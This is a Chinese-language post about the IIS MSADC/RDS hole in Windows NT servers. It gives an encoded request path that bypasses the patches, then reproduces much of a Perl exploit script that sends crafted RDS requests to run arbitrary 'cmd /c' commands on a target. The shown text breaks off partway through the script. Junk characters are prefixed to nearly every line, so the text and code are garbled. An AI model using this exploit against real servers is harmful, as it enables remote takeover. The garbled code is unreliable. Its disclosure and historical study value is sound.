IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~Lu,jLKL=[ |D'!.$7% 涉及程序:
R*ex!u60M Microsoft NT server
I(j{D>v =q"0GUei3 描述:
-biw{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=:xJZy$ =3V4HQi 详细:
wt_ae|hv 如果你没有时间读详细内容的话,就删除:
">fRM=fl c:\Program Files\Common Files\System\Msadc\msadcs.dll
chuJj
IY 有关的安全问题就没有了。
n*|8(fD 1T,Bd!g 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
%>O}bdSf Xpkj44cd@ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
>A6PH*x 关于利用ODBC远程漏洞的描述,请参看:
%2G3+T8*x %md9ou` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm % 1<@p%y/ j6 _w2 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
]8cD, NS http://www.microsoft.com/security/bulletins/MS99-025faq.asp F[v^43-^_ r|3u]rt 这里不再论述。
VWCC(YRU|$ ;gRPTk$X3 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
>u
.u#d e >Bm>/%2 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$'a]lR 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
+}-cvM/* FklO#+<: h{)`W
]~ #将下面这段保存为txt文件,然后: "perl -x 文件名"
n2F*a AMK3I`=8WO #!perl
sJg3WN #
TQ {8 ee{ # MSADC/RDS 'usage' (aka exploit) script
f,@~@f
X #
4 T/ ~erc # by rain.forest.puppy
/cZcfCW #
7:.!R^5H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;:)u
rI? # beta test and find errors!
6H|T ) WCI'Kh
use Socket; use Getopt::Std;
PCKxo;bD getopts("e:vd:h:XR", \%args);
fjQIuM kY~yA2*G print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L{c\7 ~;wR}s<}( if (!defined $args{h} && !defined $args{R}) {
<&t[E0mU print qq~
SQw"mO Usage: msadc.pl -h <host> { -d <delay> -X -v }
K~8!Gh{h] -h <host> = host you want to scan (ip or domain)
.d4&s7n0 -d <seconds> = delay between calls, default 1 second
]b^bc2: -X = dump Index Server path table, if available
%NL7XU[~ -v = verbose
P\
2Bx *e -e = external dictionary file for step 5
f5nAD &v r0{]V^ Or a -R will resume a command session
rN {5^+w `zcpaE.@ ~; exit;}
:\1vy5 _ 34vH+,!u $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-r{]9v2j if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
lWU? R if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
wmX * n'l if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Pv8AWQQJ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^DR`!.ttr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
D4+OWbf6 [rhK2fr:i if (!defined $args{R}){ $ret = &has_msadc;
vRO`hGH die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
V4%7Xj 4-xg+*() print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Cz4l . "cmd /c ";
M""X_~&I" $in=<STDIN>; chomp $in;
79M`?xm $command="cmd /c " . $in ;
y;LZX-Z- -.vNb!= if (defined $args{R}) {&load; exit;}
nyd'79~>G & =vi]z:[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z#olKBs &try_btcustmr;
DTx>^<Tk O@KAh5EB print "\nStep 2: Trying to make our own DSN...";
A Rjox` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
IAbH_+7O sVIw'W print "\nStep 3: Trying known DSNs...";
\OF"hPq &known_dsn;
2 wZyUB; !2]G.|5/A print "\nStep 4: Trying known .mdbs...";
s.@DI|Gnf &known_mdb;
Cx`?}A\% &eX^ll if (defined $args{e}){
}Q>??~mVl print "\nStep 5: Trying dictionary of DSN names...";
3ry0. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[UaM}-eR Pexg"328 print "Sorry Charley...maybe next time?\n";
)G9,5[ exit;
Ob7F39):N 7ZpU -': ##############################################################################
/=:X,^"P c<g{&YJ sub sendraw { # ripped and modded from whisker
j}DG +M sleep($delay); # it's a DoS on the server! At least on mine...
p4wXsOQ} my ($pstr)=@_;
5A"OL6ty socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~FZ=
die("Socket problems\n");
'\Hh if(connect(S,pack "SnA4x8",2,80,$target)){
U_Va'7 select(S); $|=1;
sZ7BBJX2K print $pstr; my @in=<S>;
v!?>90a select(STDOUT); close(S);
jQ?6I1o return @in;
I =yy
I } else { die("Can't connect...\n"); }}
q \\52:\ H9T'{R*FC ##############################################################################
X9n},}bJ" cH\.-5NQ sub make_header { # make the HTTP request
|=4imM7 my $msadc=<<EOT
`Jon^&^;| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
OLxiY r User-Agent: ACTIVEDATA
Z&0*\.6S~ Host: $ip
I)X33X, Content-Length: $clen
1C\[n(9 Connection: Keep-Alive
<al/>7z'
O 9mH/xP:y ADCClientVersion:01.06
\P0>TWE Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M&K'5G)7 PaYsn *{}) --!ADM!ROX!YOUR!WORLD!
5J8U] :Y) Content-Type: application/x-varg
Qa=v }d-O Content-Length: $reqlen
gS4@3BOw&. +}0/ %5 =1 EOT
D[ (A`!) ; $msadc=~s/\n/\r\n/g;
+&hd3 return $msadc;}
bIahjxd: g)#neEA J ##############################################################################
q~:k[@`. {kgV3 [%> sub make_req { # make the RDS request
2_lb+@[W my ($switch, $p1, $p2)=@_;
ey>V^Fj my $req=""; my $t1, $t2, $query, $dsn;
r5N.Qt8 zHvG3Ed@ if ($switch==1){ # this is the btcustmr.mdb query
hbv>Jjd $query="Select * from Customers where City=" . make_shell();
s@ vHU4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3]1uDgfr $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
W-+~r \>*B elsif ($switch==2){ # this is general make table query
ril4*$e7^\ $query="create table AZZ (B int, C varchar(10))";
zDO`w0N $dsn="$p1";}
Wr Nm:N YYUWBnf30G elsif ($switch==3){ # this is general exploit table query
V8.o}BWY $query="select * from AZZ where C=" . make_shell();
8(c,b $dsn="$p1";}
Mm+kG'Z!S 8 P=z"y elsif ($switch==4){ # attempt to hork file info from index server
N
v,Yikf $query="select path from scope()";
qkN{l88 $dsn="Provider=MSIDXS;";}
t1)Qa(#] D|p`~( elsif ($switch==5){ # bad query
2-*zevPiG= $query="select";
Jx8?x#} $dsn="$p1";}
~4fjFo&